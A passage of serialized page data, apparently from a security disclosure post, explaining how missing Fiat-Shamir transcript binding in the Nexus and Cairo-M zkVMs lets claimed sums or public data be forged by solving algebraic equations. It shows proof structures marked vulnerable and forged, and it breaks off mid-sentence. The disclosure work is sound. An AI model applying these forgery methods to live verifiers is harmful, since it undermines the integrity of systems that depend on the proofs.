:264,"props":118532,"children":118533},{},[],{"type":22,"tag":264,"props":118535,"children":118537},{"className":118536,"style":5427},[420],[],{"type":22,"tag":264,"props":118539,"children":118541},{"className":118540},[289],[118542,118546,118696],{"type":22,"tag":264,"props":118543,"children":118545},{"className":118544},[294,295],[],{"type":22,"tag":264,"props":118547,"children":118549},{"className":118548},[300],[118550],{"type":22,"tag":264,"props":118551,"children":118553},{"className":118552},[305,306],[118554,118685],{"type":22,"tag":264,"props":118555,"children":118557},{"className":118556},[311],[118558,118680],{"type":22,"tag":264,"props":118559,"children":118561},{"className":118560,"style":114897},[316],[118562,118649,118660],{"type":22,"tag":264,"props":118563,"children":118564},{"style":321},[118565,118569],{"type":22,"tag":264,"props":118566,"children":118568},{"className":118567,"style":327},[326],[],{"type":22,"tag":264,"props":118570,"children":118572},{"className":118571},[332,333,334,335],[118573],{"type":22,"tag":264,"props":118574,"children":118576},{"className":118575},[289,335],[118577,118582,118587],{"type":22,"tag":264,"props":118578,"children":118580},{"className":118579,"style":114917},[289,2178,335],[118581],{"type":27,"value":114920},{"type":22,"tag":264,"props":118583,"children":118585},{"className":118584},[670,335],[118586],{"type":27,"value":5372},{"type":22,"tag":264,"props":118588,"children":118590},{"className":118589},[289,335],[118591,118601],{"type":22,"tag":264,"props":118592,"children":118594},{"className":118593},[289,27,335],[118595],{"type":22,"tag":264,"props":118596,"children":118598},{"className":118597},[289,335],[118599],{"type":27,"value":118600},"consumed",{"type":22,"tag":264,"props":118602,"children":118604},{"className":118603},[2147],[118605],{"type":22,"tag":264,"props":118606,"children":118608},{"className":118607},[305,306],[118609,118638],{"type":22,"tag":264,"props":118610,"children":118612},{"className":118611},[311],[118613,118633],{"type":22,"tag":264,"props":118614,"children":118616},{"className":118615,"style":113695},[316],[118617],{"type":22,"tag":264,"props":118618,"children":118619},{"style":115932},[118620,118624],{"type":22,"tag":264,"props":118621,"children":118623},{"className":118622,"style":110228},[326],[],{"type":22,"tag":264,"props":118625,"children":118627},{"className":118626},[332,110233,110234,335],[118628],{"type":22,"tag":264,"props":118629,"children":118631},{"className":118630,"style":95797},[289,2178,335],[118632],{"type":27,"value":90009},{"type":22,"tag":264,"props":118634,"children":118636},{"className":118635},[396],[118637],{"type":27,"value":399},{"type":22,"tag":264,"props":118639,"children":118641},{"className":118640},[311],[118642],{"type":22,"tag":264,"props":118643,"children":118645},{"className":118644,"style":115959},[316],[118646],{"type":22,"tag":264,"props":118647,"children":118648},{},[],{"type":22,"tag":264,"props":118650,"children":118651},{"style":349},[118652,118656],{"type":22,"tag":264,"props":118653,"children":118655},{"className":118654,"style":327},[326],[],{"type":22,"tag":264,"props":118657,"children":118659},{"className":118658,"style":359},[358],[],{"type":22,"tag":264,"props":118661,"children":118662},{"style":363},[118663,118667],{"type":22,"tag":264,"props":118664,"children":118666},{"className":118665,"style":327},[326],[],{"type":22,"tag":264,"props":118668,"children":118670},{"className":118669},[332,333,334,335],[118671],{"type":22,"tag":264,"props":118672,"children":118674},{"className":118673},[289,335],[118675],{"type":22,"tag":264,"props":118676,"children":118678},{"className":118677},[289,335],[118679],{"type":27,"value":602},{"type":22,"tag":264,"props":118681,"children":118683},{"className":118682},[396],[118684],{"type":27,"value":399},{"type":22,"tag":264,"props":118686,"children":118688},{"className":118687},[311],[118689],{"type":22,"tag":264,"props":118690,"children":118692},{"className":118691,"style":116007},[316],[118693],{"type":22,"tag":264,"props":118694,"children":118695},{},[],{"type":22,"tag":264,"props":118697,"children":118699},{"className":118698},[415,295],[],{"type":22,"tag":23,"props":118701,"children":118702},{},[118703,118705,118710],{"type":27,"value":118704},"All ",{"type":22,"tag":257,"props":118706,"children":118708},{"className":118707},[],[118709],{"type":27,"value":116219},{"type":27,"value":118711}," values must sum to zero (everything produced is consumed).",{"type":22,"tag":23,"props":118713,"children":118714},{},[118715,118717,118722],{"type":27,"value":118716},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":22,"tag":242,"props":118718,"children":118719},{},[118720],{"type":27,"value":118721},"OODS (Out-of-Domain Sampling)",{"type":27,"value":118723}," test.",{"type":22,"tag":23,"props":118725,"children":118726},{},[118727],{"type":22,"tag":242,"props":118728,"children":118729},{},[118730],{"type":27,"value":116769},{"type":22,"tag":618,"props":118732,"children":118734},{"code":118733},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[118735],{"type":22,"tag":257,"props":118736,"children":118737},{"__ignoreMap":7},[118738],{"type":27,"value":118733},{"type":22,"tag":23,"props":118740,"children":118741},{},[118742,118744,118749],{"type":27,"value":118743},"The",{"type":22,"tag":257,"props":118745,"children":118747},{"className":118746},[],[118748],{"type":27,"value":116219},{"type":27,"value":118750}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":22,"tag":23,"props":118752,"children":118753},{},[118754],{"type":22,"tag":215,"props":118755,"children":118758},{"alt":118756,"src":118757},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":22,"tag":23,"props":118760,"children":118761},{},[118762,118764,118773],{"type":27,"value":118763},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":22,"tag":242,"props":118765,"children":118766},{},[118767,118768],{"type":27,"value":113238},{"type":22,"tag":257,"props":118769,"children":118771},{"className":118770},[],[118772],{"type":27,"value":116219},{"type":27,"value":5785},{"type":22,"tag":23,"props":118775,"children":118776},{},[118777],{"type":27,"value":118778},"The composition polynomial is a random linear combination of constraints:",{"type":22,"tag":23,"props":118780,"children":118781},{},[118782],{"type":22,"tag":257,"props":118783,"children":118785},{"className":118784},[260,261],[118786],{"type":22,"tag":264,"props":118787,"children":118789},{"className":118788},[267],[118790],{"type":22,"tag":264,"props":118791,"children":118793},{"className":118792,"ariaHidden":273},[272],[118794,118835,118974],{"type":22,"tag":264,"props":118795,"children":118797},{"className":118796},[278],[118798,118802,118807,118812,118817,118822,118826,118831],{"type":22,"tag":264,"props":118799,"children":118801},{"className":118800,"style":5409},[283],[],{"type":22,"tag":264,"props":118803,"children":118805},{"className":118804,"style":23420},[289,2178],[118806],{"type":27,"value":117582},{"type":22,"tag":264,"props":118808,"children":118810},{"className":118809},[294],[118811],{"type":27,"value":2660},{"type":22,"tag":264,"props":118813,"children":118815},{"className":118814},[289,2178],[118816],{"type":27,"value":20581},{"type":22,"tag":264,"props":118818,"children":118820},{"className":118819},[415],[118821],{"type":27,"value":2806},{"type":22,"tag":264,"props":118823,"children":118825},{"className":118824,"style":421},[420],[],{"type":22,"tag":264,"props":118827,"children":118829},{"className":118828},[426],[118830],{"type":27,"value":429},{"type":22,"tag":264,"props":118832,"children":118834},{"className":118833,"style":421},[420],[],{"type":22,"tag":264,"props":118836,"children":118838},{"className":118837},[278],[118839,118843,118900,118904,118961,118965,118970],{"type":22,"tag":264,"props":118840,"children":118842},{"className":118841,"style":116986},[283],[],{"type":22,"tag":264,"props":118844,"children":118846},{"className":118845},[22929],[118847,118852],{"type":22,"tag":264,"props":118848,"children":118850},{"className":118849,"style":22936},[22929,22934,22935],[118851],{"type":27,"value":110163},{"type":22,"tag":264,"props":118853,"children":118855},{"className":118854},[2147],[118856],{"type":22,"tag":264,"props":118857,"children":118859},{"className":118858},[305,306],[118860,118889],{"type":22,"tag":264,"props":118861,"children":118863},{"className":118862},[311],[118864,118884],{"type":22,"tag":264,"props":118865,"children":118867},{"className":118866,"style":115562},[316],[118868],{"type":22,"tag":264,"props":118869,"children":118870},{"style":22959},[118871,118875],{"type":22,"tag":264,"props":118872,"children":118874},{"className":118873,"style":2169},[326],[],{"type":22,"tag":264,"props":118876,"children":118878},{"className":118877},[332,333,334,335],[118879],{"type":22,"tag":264,"props":118880,"children":118882},{"className":118881},[289,2178,335],[118883],{"type":27,"value":5050},{"type":22,"tag":264,"props":118885,"children":118887},{"className":118886},[396],[118888],{"type":27,"value":399},{"type":22,"tag":264,"props":118890,"children":118892},{"className":118891},[311],[118893],{"type":22,"tag":264,"props":118894,"children":118896},{"className":118895,"style":115842},[316],[118897],{"type":22,"tag":264,"props":118898,"children":118899},{},[],{"type":22,"tag":264,"props":118901,"children":118903},{"className":118902,"style":5427},[420],[],{"type":22,"tag":264,"props":118905,"children":118907},{"className":118906},[289],[118908,118913],{"type":22,"tag":264,"props":118909,"children":118911},{"className":118910,"style":116442},[289,2178],[118912],{"type":27,"value":116445},{"type":22,"tag":264,"props":118914,"children":118916},{"className":118915},[2147],[118917],{"type":22,"tag":264,"props":118918,"children":118920},{"className":118919},[305,306],[118921,118950],{"type":22,"tag":264,"props":118922,"children":118924},{"className":118923},[311],[118925,118945],{"type":22,"tag":264,"props":118926,"children":118928},{"className":118927,"style":94898},[316],[118929],{"type":22,"tag":264,"props":118930,"children":118931},{"style":117076},[118932,118936],{"type":22,"tag":264,"props":118933,"children":118935},{"className":118934,"style":2169},[326],[],{"type":22,"tag":264,"props":118937,"children":118939},{"className":118938},[332,333,334,335],[118940],{"type":22,"tag":264,"props":118941,"children":118943},{"className":118942},[289,2178,335],[118944],{"type":27,"value":5050},{"type":22,"tag":264,"props":118946,"children":118948},{"className":118947},[396],[118949],{"type":27,"value":399},{"type":22,"tag":264,"props":118951,"children":118953},{"className":118952},[311],[118954],{"type":22,"tag":264,"props":118955,"children":118957},{"className":118956,"style":2721},[316],[118958],{"type":22,"tag":264,"props":118959,"children":118960},{},[],{"type":22,"tag":264,"props":118962,"children":118964},{"className":118963,"style":665},[420],[],{"type":22,"tag":264,"props":118966,"children":118968},{"className":118967},[670],[118969],{"type":27,"value":112629},{"type":22,"tag":264,"props":118971,"children":118973},{"className":118972,"style":665},[420],[],{"type":22,"tag":264,"props":118975,"children":118977},{"className":118976},[278],[118978,118982,119044,119049,119054],{"type":22,"tag":264,"props":118979,"children":118981},{"className":118980,"style":5409},[283],[],{"type":22,"tag":264,"props":118983,"children":118985},{"className":118984},[289],[118986,118996],{"type":22,"tag":264,"props":118987,"children":118989},{"className":118988},[289,27],[118990],{"type":22,"tag":264,"props":118991,"children":118993},{"className":118992},[289],[118994],{"type":27,"value":118995},"constraint",{"type":22,"tag":264,"props":118997,"children":118999},{"className":118998},[2147],[119000],{"type":22,"tag":264,"props":119001,"children":119003},{"className":119002},[305,306],[119004,119033],{"type":22,"tag":264,"props":119005,"children":119007},{"className":119006},[311],[119008,119028],{"type":22,"tag":264,"props":119009,"children":119011},{"className":119010,"style":94898},[316],[119012],{"type":22,"tag":264,"props":119013,"children":119014},{"style":2694},[119015,119019],{"type":22,"tag":264,"props":119016,"children":119018},{"className":119017,"style":2169},[326],[],{"type":22,"tag":264,"props":119020,"children":119022},{"className":119021},[332,333,334,335],[119023],{"type":22,"tag":264,"props":119024,"children":119026},{"className":119025},[289,2178,335],[119027],{"type":27,"value":5050},{"type":22,"tag":264,"props":119029,"children":119031},{"className":119030},[396],[119032],{"type":27,"value":399},{"type":22,"tag":264,"props":119034,"children":119036},{"className":119035},[311],[119037],{"type":22,"tag":264,"props":119038,"children":119040},{"className":119039,"style":2721},[316],[119041],{"type":22,"tag":264,"props":119042,"children":119043},{},[],{"type":22,"tag":264,"props":119045,"children":119047},{"className":119046},[294],[119048],{"type":27,"value":2660},{"type":22,"tag":264,"props":119050,"children":119052},{"className":119051},[289,2178],[119053],{"type":27,"value":20581},{"type":22,"tag":264,"props":119055,"children":119057},{"className":119056},[415],[119058],{"type":27,"value":2806},{"type":22,"tag":23,"props":119060,"children":119061},{},[119062,119064,119069,119071,119076],{"type":27,"value":119063},"Since each constraint is linear in its ",{"type":22,"tag":257,"props":119065,"children":119067},{"className":119066},[],[119068],{"type":27,"value":116219},{"type":27,"value":119070},", the overall composition polynomial is linear in all ",{"type":22,"tag":257,"props":119072,"children":119074},{"className":119073},[],[119075],{"type":27,"value":116219},{"type":27,"value":119077}," values.",{"type":22,"tag":23,"props":119079,"children":119080},{},[119081,119083],{"type":27,"value":119082},"The verifier checks ",{"type":22,"tag":257,"props":119084,"children":119086},{"className":119085},[260,261],[119087],{"type":22,"tag":264,"props":119088,"children":119090},{"className":119089},[267],[119091],{"type":22,"tag":264,"props":119092,"children":119094},{"className":119093,"ariaHidden":273},[272],[119095,119156],{"type":22,"tag":264,"props":119096,"children":119098},{"className":119097},[278],[119099,119103,119108,119113,119123,119128,119138,119143,119147,119152],{"type":22,"tag":264,"props":119100,"children":119102},{"className":119101,"style":94312},[283],[],{"type":22,"tag":264,"props":119104,"children":119106},{"className":119105,"style":23420},[289,2178],[119107],{"type":27,"value":117582},{"type":22,"tag":264,"props":119109,"children":119111},{"className":119110},[294],[119112],{"type":27,"value":2660},{"type":22,"tag":264,"props":119114,"children":119116},{"className":119115},[289,27],[119117],{"type":22,"tag":264,"props":119118,"children":119120},{"className":119119},[289],[119121],{"type":27,"value":119122},"oods",{"type":22,"tag":264,"props":119124,"children":119126},{"className":119125,"style":94370},[289],[119127],{"type":27,"value":4385},{"type":22,"tag":264,"props":119129,"children":119131},{"className":119130},[289,27],[119132],{"type":22,"tag":264,"props":119133,"children":119135},{"className":119134},[289],[119136],{"type":27,"value":119137},"point",{"type":22,"tag":264,"props":119139,"children":119141},{"className":119140},[415],[119142],{"type":27,"value":2806},{"type":22,"tag":264,"props":119144,"children":119146},{"className":119145,"style":421},[420],[],{"type":22,"tag":264,"props":119148,"children":119150},{"className":119149},[426],[119151],{"type":27,"value":429},{"type":22,"tag":264,"props":119153,"children":119155},{"className":119154,"style":421},[420],[],{"type":22,"tag":264,"props":119157,"children":119159},{"className":119158},[278],[119160,119164],{"type":22,"tag":264,"props":119161,"children":119163},{"className":119162,"style":2028},[283],[],{"type":22,"tag":264,"props":119165,"children":119167},{"className":119166},[289,27],[119168],{"type":22,"tag":264,"props":119169,"children":119171},{"className":119170},[289],[119172],{"type":27,"value":117906},{"type":22,"tag":23,"props":119174,"children":119175},{},[119176,119178,119183,119185,119190],{"type":27,"value":119177},"With ",{"type":22,"tag":257,"props":119179,"children":119181},{"className":119180},[],[119182],{"type":27,"value":116219},{"type":27,"value":119184}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":22,"tag":257,"props":119186,"children":119188},{"className":119187},[],[119189],{"type":27,"value":116219},{"type":27,"value":119191}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":22,"tag":23,"props":119193,"children":119194},{},[119195,119199,119201],{"type":22,"tag":242,"props":119196,"children":119197},{},[119198],{"type":27,"value":118062},{"type":27,"value":119200}," Fixed on October 24, 2025 via ",{"type":22,"tag":69,"props":119202,"children":119205},{"href":119203,"rel":119204},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[73],[119206],{"type":27,"value":119207},"PR #503",{"type":22,"tag":20097,"props":119209,"children":119210},{},[],{"type":22,"tag":181,"props":119212,"children":119214},{"id":119213},"cairo-m-kakarot-labs",[119215],{"type":27,"value":119216},"Cairo-M (Kakarot Labs)",{"type":22,"tag":23,"props":119218,"children":119219},{},[119220],{"type":27,"value":119221},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":22,"tag":23,"props":119223,"children":119224},{},[119225],{"type":27,"value":119226},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":22,"tag":23,"props":119228,"children":119229},{},[119230],{"type":22,"tag":242,"props":119231,"children":119232},{},[119233],{"type":27,"value":116769},{"type":22,"tag":618,"props":119235,"children":119237},{"code":119236},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[119238],{"type":22,"tag":257,"props":119239,"children":119240},{"__ignoreMap":7},[119241],{"type":27,"value":119236},{"type":22,"tag":23,"props":119243,"children":119244},{},[119245],{"type":22,"tag":242,"props":119246,"children":119247},{},[119248],{"type":27,"value":116785},{"type":22,"tag":23,"props":119250,"children":119251},{},[119252],{"type":22,"tag":215,"props":119253,"children":119256},{"alt":119254,"src":119255},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":22,"tag":23,"props":119258,"children":119259},{},[119260,119262,119268],{"type":27,"value":119261},"Lookup challenges are derived without ",{"type":22,"tag":257,"props":119263,"children":119265},{"className":119264},[],[119266],{"type":27,"value":119267},"public_data",{"type":27,"value":119269}," being  mixed into the transcript.",{"type":22,"tag":23,"props":119271,"children":119272},{},[119273,119274,119279,119281,119286],{"type":27,"value":17914},{"type":22,"tag":257,"props":119275,"children":119277},{"className":119276},[],[119278],{"type":27,"value":119267},{"type":27,"value":119280}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":22,"tag":1699,"props":119282,"children":119283},{},[119284],{"type":27,"value":119285},"denominators",{"type":27,"value":119287}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":22,"tag":23,"props":119289,"children":119290},{},[119291],{"type":22,"tag":257,"props":119292,"children":119294},{"className":119293},[260,261],[119295],{"type":22,"tag":264,"props":119296,"children":119298},{"className":119297},[267],[119299],{"type":22,"tag":264,"props":119300,"children":119302},{"className":119301,"ariaHidden":273},[272],[119303,119363,119409,119455],{"type":22,"tag":264,"props":119304,"children":119306},{"className":119305},[278],[119307,119311,119317,119322,119331,119336,119345,119350,119354,119359],{"type":22,"tag":264,"props":119308,"children":119310},{"className":119309,"style":94312},[283],[],{"type":22,"tag":264,"props":119312,"children":119314},{"className":119313},[289,2178],[119315],{"type":27,"value":119316},"L",{"type":22,"tag":264,"props":119318,"children":119320},{"className":119319},[294],[119321],{"type":27,"value":2660},{"type":22,"tag":264,"props":119323,"children":119325},{"className":119324},[289,27],[119326],{"type":22,"tag":264,"props":119327,"children":119329},{"className":119328},[289],[119330],{"type":27,"value":62997},{"type":22,"tag":264,"props":119332,"children":119334},{"className":119333,"style":94370},[289],[119335],{"type":27,"value":4385},{"type":22,"tag":264,"props":119337,"children":119339},{"className":119338},[289,27],[119340],{"type":22,"tag":264,"props":119341,"children":119343},{"className":119342},[289],[119344],{"type":27,"value":5013},{"type":22,"tag":264,"props":119346,"children":119348},{"className":119347},[415],[119349],{"type":27,"value":2806},{"type":22,"tag":264,"props":119351,"children":119353},{"className":119352,"style":665},[420],[],{"type":22,"tag":264,"props":119355,"children":119357},{"className":119356},[670],[119358],{"type":27,"value":673},{"type":22,"tag":264,"props":119360,"children":119362},{"className":119361,"style":665},[420],[],{"type":22,"tag":264,"props":119364,"children":119366},{"className":119365},[278],[119367,119371,119381,119386,119396,119400,119405],{"type":22,"tag":264,"props":119368,"children":119370},{"className":119369,"style":94312},[283],[],{"type":22,"tag":264,"props":119372,"children":119374},{"className":119373},[289,27],[119375],{"type":22,"tag":264,"props":119376,"children":119378},{"className":119377},[289],[119379],{"type":27,"value":119380},"(other transcript",{"type":22,"tag":264,"props":119382,"children":119384},{"className":119383,"style":94370},[289],[119385],{"type":27,"value":4385},{"type":22,"tag":264,"props":119387,"children":119389},{"className":119388},[289,27],[119390],{"type":22,"tag":264,"props":119391,"children":119393},{"className":119392},[289],[119394],{"type":27,"value":119395},"bound terms)",{"type":22,"tag":264,"props":119397,"children":119399},{"className":119398,"style":421},[420],[],{"type":22,"tag":264,"props":119401,"children":119403},{"className":119402},[426],[119404],{"type":27,"value":429},{"type":22,"tag":264,"props":119406,"children":119408},{"className":119407,"style":421},[420],[],{"type":22,"tag":264,"props":119410,"children":119412},{"className":119411},[278],[119413,119418,119423,119428,119433,119437,119442,119446,119451],{"type":22,"tag":264,"props":119414,"children":119417},{"className":119415,"style":119416},[283],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":22,"tag":264,"props":119419,"children":119421},{"className":119420},[289],[119422],{"type":27,"value":5334},{"type":22,"tag":264,"props":119424,"children":119426},{"className":119425},[5420],[119427],{"type":27,"value":5423},{"type":22,"tag":264,"props":119429,"children":119432},{"className":119430,"style":119431},[420],"margin-right:2em;",[],{"type":22,"tag":264,"props":119434,"children":119436},{"className":119435,"style":5427},[420],[],{"type":22,"tag":264,"props":119438,"children":119440},{"className":119439},[289,2178],[119441],{"type":27,"value":119316},{"type":22,"tag":264,"props":119443,"children":119445},{"className":119444,"style":421},[420],[],{"type":22,"tag":264,"props":119447,"children":119449},{"className":119448},[426],[119450],{"type":27,"value":429},{"type":22,"tag":264,"props":119452,"children":119454},{"className":119453,"style":421},[420],[],{"type":22,"tag":264,"props":119456,"children":119458},{"className":119457},[278],[119459,119464,119521,119525,119743],{"type":22,"tag":264,"props":119460,"children":119463},{"className":119461,"style":119462},[283],"height:1.4071em;vertical-align:-0.562em;",[],{"type":22,"tag":264,"props":119465,"children":119467},{"className":119466},[22929],[119468,119473],{"type":22,"tag":264,"props":119469,"children":119471},{"className":119470,"style":22936},[22929,22934,22935],[119472],{"type":27,"value":110163},{"type":22,"tag":264,"props":119474,"children":119476},{"className":119475},[2147],[119477],{"type":22,"tag":264,"props":119478,"children":119480},{"className":119479},[305,306],[119481,119510],{"type":22,"tag":264,"props":119482,"children":119484},{"className":119483},[311],[119485,119505],{"type":22,"tag":264,"props":119486,"children":119488},{"className":119487,"style":115562},[316],[119489],{"type":22,"tag":264,"props":119490,"children":119491},{"style":22959},[119492,119496],{"type":22,"tag":264,"props":119493,"children":119495},{"className":119494,"style":2169},[326],[],{"type":22,"tag":264,"props":119497,"children":119499},{"className":119498},[332,333,334,335],[119500],{"type":22,"tag":264,"props":119501,"children":119503},{"className":119502},[289,2178,335],[119504],{"type":27,"value":5050},{"type":22,"tag":264,"props":119506,"children":119508},{"className":119507},[396],[119509],{"type":27,"value":399},{"type":22,"tag":264,"props":119511,"children":119513},{"className":119512},[311],[119514],{"type":22,"tag":264,"props":119515,"children":119517},{"className":119516,"style":115842},[316],[119518],{"type":22,"tag":264,"props":119519,"children":119520},{},[],{"type":22,"tag":264,"props":119522,"children":119524},{"className":119523,"style":5427},[420],[],{"type":22,"tag":264,"props":119526,"children":119528},{"className":119527},[289],[119529,119533,119739],{"type":22,"tag":264,"props":119530,"children":119532},{"className":119531},[294,295],[],{"type":22,"tag":264,"props":119534,"children":119536},{"className":119535},[300],[119537],{"type":22,"tag":264,"props":119538,"children":119540},{"className":119539},[305,306],[119541,119727],{"type":22,"tag":264,"props":119542,"children":119544},{"className":119543},[311],[119545,119722],{"type":22,"tag":264,"props":119546,"children":119548},{"className":119547,"style":114897},[316],[119549,119691,119702],{"type":22,"tag":264,"props":119550,"children":119551},{"style":321},[119552,119556],{"type":22,"tag":264,"props":119553,"children":119555},{"className":119554,"style":327},[326],[],{"type":22,"tag":264,"props":119557,"children":119559},{"className":119558},[332,333,334,335],[119560],{"type":22,"tag":264,"props":119561,"children":119563},{"className":119562},[289,335],[119564,119569,119574,119580,119585,119590,119647,119652,119661,119666,119675,119681,119686],{"type":22,"tag":264,"props":119565,"children":119567},{"className":119566,"style":114917},[289,2178,335],[119568],{"type":27,"value":114920},{"type":22,"tag":264,"props":119570,"children":119572},{"className":119571},[670,335],[119573],{"type":27,"value":673},{"type":22,"tag":264,"props":119575,"children":119577},{"className":119576},[294,335],[119578],{"type":27,"value":119579},"⟨",{"type":22,"tag":264,"props":119581,"children":119583},{"className":119582,"style":116442},[289,2178,335],[119584],{"type":27,"value":116445},{"type":22,"tag":264,"props":119586,"children":119588},{"className":119587},[5420,335],[119589],{"type":27,"value":5423},{"type":22,"tag":264,"props":119591,"children":119593},{"className":119592},[289,335],[119594,119599],{"type":22,"tag":264,"props":119595,"children":119597},{"className":119596},[289,2178,335],[119598],{"type":27,"value":23033},{"type":22,"tag":264,"props":119600,"children":119602},{"className":119601},[2147],[119603],{"type":22,"tag":264,"props":119604,"children":119606},{"className":119605},[305,306],[119607,119636],{"type":22,"tag":264,"props":119608,"children":119610},{"className":119609},[311],[119611,119631],{"type":22,"tag":264,"props":119612,"children":119614},{"className":119613,"style":115679},[316],[119615],{"type":22,"tag":264,"props":119616,"children":119617},{"style":110223},[119618,119622],{"type":22,"tag":264,"props":119619,"children":119621},{"className":119620,"style":110228},[326],[],{"type":22,"tag":264,"props":119623,"children":119625},{"className":119624},[332,110233,110234,335],[119626],{"type":22,"tag":264,"props":119627,"children":119629},{"className":119628},[289,2178,335],[119630],{"type":27,"value":5050},{"type":22,"tag":264,"props":119632,"children":119634},{"className":119633},[396],[119635],{"type":27,"value":399},{"type":22,"tag":264,"props":119637,"children":119639},{"className":119638},[311],[119640],{"type":22,"tag":264,"props":119641,"children":119643},{"className":119642,"style":110253},[316],[119644],{"type":22,"tag":264,"props":119645,"children":119646},{},[],{"type":22,"tag":264,"props":119648,"children":119650},{"className":119649},[294,335],[119651],{"type":27,"value":2660},{"type":22,"tag":264,"props":119653,"children":119655},{"className":119654},[289,27,335],[119656],{"type":22,"tag":264,"props":119657,"children":119659},{"className":119658},[289,335],[119660],{"type":27,"value":62997},{"type":22,"tag":264,"props":119662,"children":119664},{"className":119663,"style":94370},[289,335],[119665],{"type":27,"value":4385},{"type":22,"tag":264,"props":119667,"children":119669},{"className":119668},[289,27,335],[119670],{"type":22,"tag":264,"props":119671,"children":119673},{"className":119672},[289,335],[119674],{"type":27,"value":5013},{"type":22,"tag":264,"props":119676,"children":119678},{"className":119677},[415,335],[119679],{"type":27,"value":119680},")⟩",{"type":22,"tag":264,"props":119682,"children":119684},{"className":119683},[670,335],[119685],{"type":27,"value":673},{"type":22,"tag":264,"props":119687,"children":119689},{"className":119688,"style":116496},[289,2178,335],[119690],{"type":27,"value":116499},{"type":22,"tag":264,"props":119692,"children":119693},{"style":349},[119694,119698],{"type":22,"tag":264,"props":119695,"children":119697},{"className":119696,"style":327},[326],[],{"type":22,"tag":264,"props":119699,"children":119701},{"className":119700,"style":359},[358],[],{"type":22,"tag":264,"props":119703,"children":119704},{"style":363},[119705,119709],{"type":22,"tag":264,"props":119706,"children":119708},{"className":119707,"style":327},[326],[],{"type":22,"tag":264,"props":119710,"children":119712},{"className":119711},[332,333,334,335],[119713],{"type":22,"tag":264,"props":119714,"children":119716},{"className":119715},[289,335],[119717],{"type":22,"tag":264,"props":119718,"children":119720},{"className":119719},[289,335],[119721],{"type":27,"value":602},{"type":22,"tag":264,"props":119723,"children":119725},{"className":119724},[396],[119726],{"type":27,"value":399},{"type":22,"tag":264,"props":119728,"children":119730},{"className":119729},[311],[119731],{"type":22,"tag":264,"props":119732,"children":119735},{"className":119733,"style":119734},[316],"height:0.562em;",[119736],{"type":22,"tag":264,"props":119737,"children":119738},{},[],{"type":22,"tag":264,"props":119740,"children":119742},{"className":119741},[415,295],[],{"type":22,"tag":264,"props":119744,"children":119746},{"className":119745},[289],[119747],{"type":27,"value":210},{"type":22,"tag":23,"props":119749,"children":119750},{},[119751,119753],{"type":27,"value":119752},"The global check is then that ",{"type":22,"tag":257,"props":119754,"children":119756},{"className":119755},[260,261],[119757],{"type":22,"tag":264,"props":119758,"children":119760},{"className":119759},[267],[119761],{"type":22,"tag":264,"props":119762,"children":119764},{"className":119763,"ariaHidden":273},[272],[119765,119806,119837],{"type":22,"tag":264,"props":119766,"children":119768},{"className":119767},[278],[119769,119773,119778,119783,119788,119793,119797,119802],{"type":22,"tag":264,"props":119770,"children":119772},{"className":119771,"style":5409},[283],[],{"type":22,"tag":264,"props":119774,"children":119776},{"className":119775},[289,2178],[119777],{"type":27,"value":119316},{"type":22,"tag":264,"props":119779,"children":119781},{"className":119780},[294],[119782],{"type":27,"value":2660},{"type":22,"tag":264,"props":119784,"children":119786},{"className":119785},[289,2178],[119787],{"type":27,"value":23},{"type":22,"tag":264,"props":119789,"children":119791},{"className":119790},[415],[119792],{"type":27,"value":2806},{"type":22,"tag":264,"props":119794,"children":119796},{"className":119795,"style":665},[420],[],{"type":22,"tag":264,"props":119798,"children":119800},{"className":119799},[670],[119801],{"type":27,"value":673},{"type":22,"tag":264,"props":119803,"children":119805},{"className":119804,"style":665},[420],[],{"type":22,"tag":264,"props":119807,"children":119809},{"className":119808},[278],[119810,119814,119824,119828,119833],{"type":22,"tag":264,"props":119811,"children":119813},{"className":119812,"style":5409},[283],[],{"type":22,"tag":264,"props":119815,"children":119817},{"className":119816},[289,27],[119818],{"type":22,"tag":264,"props":119819,"children":119821},{"className":119820},[289],[119822],{"type":27,"value":119823},"(other terms)",{"type":22,"tag":264,"props":119825,"children":119827},{"className":119826,"style":421},[420],[],{"type":22,"tag":264,"props":119829,"children":119831},{"className":119830},[426],[119832],{"type":27,"value":429},{"type":22,"tag":264,"props":119834,"children":119836},{"className":119835,"style":421},[420],[],{"type":22,"tag":264,"props":119838,"children":119840},{"className":119839},[278],[119841,119845],{"type":22,"tag":264,"props":119842,"children":119844},{"className":119843,"style":850},[283],[],{"type":22,"tag":264,"props":119846,"children":119848},{"className":119847},[289],[119849],{"type":27,"value":5334},{"type":22,"tag":23,"props":119851,"children":119852},{},[119853],{"type":27,"value":119854},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":22,"tag":23,"props":119856,"children":119857},{},[119858],{"type":27,"value":119859},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field 